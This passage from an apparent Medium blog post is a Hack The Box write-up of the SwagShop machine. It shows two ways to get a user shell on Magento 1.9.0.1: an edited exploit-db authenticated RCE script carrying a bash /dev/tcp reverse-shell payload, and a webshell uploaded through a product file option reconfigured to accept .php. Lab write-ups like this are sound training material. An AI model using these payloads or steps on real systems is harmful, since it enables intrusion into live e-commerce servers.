there….</p><h3>Exploitation</h3><p>Our ultimate goal is <strong>root</strong> on the server hosting the Magento website. Now in this case, and how it should be, the website is not being hosted on the server by the root account. That would be a HUGE mistake and risk as any exploitation of the website would lead directly to a root shell #pwncity. Instead the Apache web-server is being operated by a lower privileged user account. So user account access is our first step :)</p><h4>So in my enumeration and research of the Magento 1.9.0.1 platform I found <em>2</em> different ways to exploit and get a user shell on this software.</h4><ul><li><strong>First path:</strong> Using an exploit script found using searchsploit, if you can get this to work it is preferred as the easiest method. Although the script seems very buggy and may require a ton of modification to work. Thus the second method….</li><li><strong>Second Path:</strong> Due to the administrator access gained from the previous exploit this opens up the Mageno Dashboard to any and all actions an Admin could take. While no misconfigurations currently exists on the e-commerce application, that doesn’t mean we can’t create our own to exploit &gt;:)</li></ul><h3>First Path:</h3><p>If we rewind back to the beginning of our exploitation phase there was another similar exploit that Searchsploit found….</p><pre>Magento CE &lt; 1.9.0.1 - (Authenticated) Remote Code Execution | exploits/php/webapps/37811.py</pre><p>What’s the difference between 37811 and 37977? Well 37811 requires an already authenticated account to Magento, which it can then leverage to gain RCE access to the server. Looking at the script <a href="https://www.exploit-db.com/exploits/37811">here</a> we see there are only a few modifications needed:</p><pre># Config.<br>username = &#39;&#39;<br>password = &#39;&#39;<br>php_function = &#39;system&#39;  # Note: we can only pass 1 argument to the function<br>install_date = &#39;Sat, 15 Nov 2014 20:27:57 +0000&#39;  # This needs to be the exact date from /app/etc/local.xml</pre><p>Here you will put in your username:password you created with the previous exploit, and update the “install_date” with the correct one for SwagShop:</p><pre># Config.<br>username = &#39;DataLeak&#39;<br>password = &#39;DatasPass&#39;<br>php_function = &#39;system&#39; <br>install_date = &#39;Wed, 08 May 2019 07:23:09 +0000&#39;  </pre><p>Once you have modified your script it’s time to fire that bad boy up. As you should already know from reviewing the code we have to pass in the correct arguments:</p><pre>1. Call python on your script: python code_exec.py</pre><pre>2. Our target page that our script will login to: <a href="http://10.10.10.140/index.php/admin/">http://10.10.10.140/index.php/admin/</a></pre><pre>3. Our payload of what command we want to run on the server: &quot;bash -c &#39;bash -i &gt;&amp; /dev/tcp/&lt;your IP&gt;/&lt;listening Port&gt; 0&gt;&amp;1&#39;&quot;</pre><p>Now before we run this script and tell the server to call back to our local machine we have to be ready to capture that session…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*QM059SDqbhuvHU6CZ83wfQ.png" /><figcaption>Running NetCat on port 1337</figcaption></figure><p>Great! We are now ready to #SendIt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3ZoqQK7ftHjzafqGl4IBHw.png" /></figure><p>So in theory this should login to the Admin Magento console, deliver our payload, and reward us with a User shell…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*thaxSysR1Z5T5V22XQQKfw.png" /><figcaption>Anddddd BOOM goes the Dynamite!</figcaption></figure><h3>Second Path:</h3><p>There is another exploit that can’t be found with Searchsploit or Exploit DB since it’s not a simple script you modify and execute. This exploit is targeting a misconfiguration in the Magento application, even though the misconfiguration doesn’t exists by default, since we have Admin access we can re-configure the Magento configuration &gt;:)</p><p>As a first step, I went to the “Manage Products” page (from catalog menu) and chose one of the products (if there are no products you can easily create one!).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/0*6wqdQNJz53G0H40N.png" /></figure><p>In this case, I chose “5x Hack The Box Sticker”. After that, I clicked the “Add New Option” button and set Title, selected “File” in Input Type field and added “.php” to Allowed File Extensions field and saved this configuration. I’m all set!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/0*srjthALDTG0fnOu6.png" /></figure><p>Then, back to the shopping site, I clicked the item which I’ve edited and chose “php-reverse-shell.php”. Clicking “ADD TO CART” button lets you to upload this webshell to the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HZQs9JTTdNdg67Kx.png" /></figure><p>You’ll see that there is a PHP file in “10.10.10.140/media/custom_options/quote/p/h/”. It is the webshell I uploaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/0*BgrimU-uAcigfeY5.png" /></figure><p>I run a netcat command and clicked this webshell file, and.. got a user shell!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/0*OXFnMnt0WbL3JHOc.png" /></figure><h3>#Pwned?</h3><p>WOO!! Don’t be afraid to throw a fist pump and let out a cheer as this is a hell of a victory! But keep in mind our work isn’t done yet &gt;:)</p><p>We now have User access to the server which means we can wreak havoc on our targets E-Commerce store, but we don’t want to stop there! Every decent hacker is way more greedy than that, what we want is Root access…</p><p>Unfortunately I’m not going to cover that in this write up as we will be transitioning over to the Privilege Escalation side of an attack and there is a lot to cover there. So be sure to check back soon to see how we can leverage our measly User access to #CompletelyPwn this box!</p><p>As always thanks for reading! #ByeFelica</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JWAx6NDcAJWTWgE5" /><figcaption>Photo by <a href="https://unsplash.com/@luthermeb?utm_source=medium&amp;utm_medium=referral">Luther Bottrill</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70929e7bb634" width="1" height="1" alt=""><hr><p><a href="https://medium.com/swlh/magento-exploitation-from-customer-to-server-user-access-70929e7bb634">Magento Exploitation! — From Customer to Server User Access</a> was originally published in <a href="https://medium.com/swlh">The Startup</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>